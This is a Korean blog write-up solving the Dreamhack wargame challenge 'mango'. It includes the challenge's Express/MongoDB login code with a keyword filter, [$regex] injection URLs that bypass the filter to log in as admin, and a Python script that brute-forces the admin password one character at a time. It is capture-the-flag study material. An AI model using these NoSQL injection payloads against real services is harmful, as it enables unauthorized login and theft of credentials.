mango

2023. 5. 23. 08:09·Wargame/Dreamhack
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

main.js

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

pakage.json

{
  "name": "Web-C",
  "version": "1.0.0",
  "description": "Web-C",
  "main": "main.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "dependencies": {
    "express": "^4.17.1",
    "express-session": "^1.17.0",
    "mongoose": "^5.10.4"
  }
}

 

2.2. 분석

main.js에서 주요 사항은 log in page에서 uid와 upw를 입력 받는데,

변수 명이 잘못되었거나, uid 또는 upw가 일치하지 않으면 undefined를 출력한다.

더불어 admin, dh, admi 문자열은 필터링 된다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

sqlinjection

3.2. 공격 준비

단순히 문자열만 필터링 하였기에 우회가 가능하다.

강의에서 나온 것과 같이 정규표현식과 임의의 문자열을 표현하는 "."를 통해 우회가 가능한 것이다.

 

예를 들어 로그인 시

http://host3.dreamhack.games:20153/login?uid=guest&upw[$regex]=.* 

와 같이 입력하면 로그인이 된다.

즉,

http://host3.dreamhack.games:20153/login?uid[$regex]=ad.in&upw[$regex]=.*

로 admin으로 로그인도 가능하다.

 

본 문제에서 알아내려고 하는 것은 admin의 password이니, 한 글자씩 대조해보며 로그인이 되는지 확인해보면 된다.

 

4. exploit

import requests, string

HOST = 'http://localhost'

ALPHANUMERIC = string.digits + string.ascii_letters

SUCCESS = 'admin'

flag = ''

for i in range(32):

    for ch in ALPHANUMERIC:

        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')

        if response.text == SUCCESS:

            flag += ch

            break

    print(f'FLAG: DH{{{flag}}}')

 

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

STB-lsExecutor  (0) 2023.05.25
simple-web-request  (0) 2023.05.23
simple_sqli  (0) 2023.05.22
csrf-2  (0) 2023.05.21
csrf-1  (0) 2023.05.19
'Wargame/Dreamhack' 카테고리의 다른 글
  • STB-lsExecutor
  • simple-web-request
  • simple_sqli
  • csrf-2
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (505) N
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (73)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (44) N
        • Solved (42) N
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    CANARY
    RTL
    lob
    FSB
    la ctf
    Format String Bug
    x86
    phoenix
    pwntools
    exploit education
    root-me
    tcache
    vtable
    Buffer Overflow
    hackerschool
    64bit
    cryptohack
    BOF
    Me
    _IO_FILE
    dreamhack
    docker
    libc
    root
    heap
    ROOT ME
    pwnable.kr
    x64
    rop
    32bit
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
mango
상단으로

티스토리툴바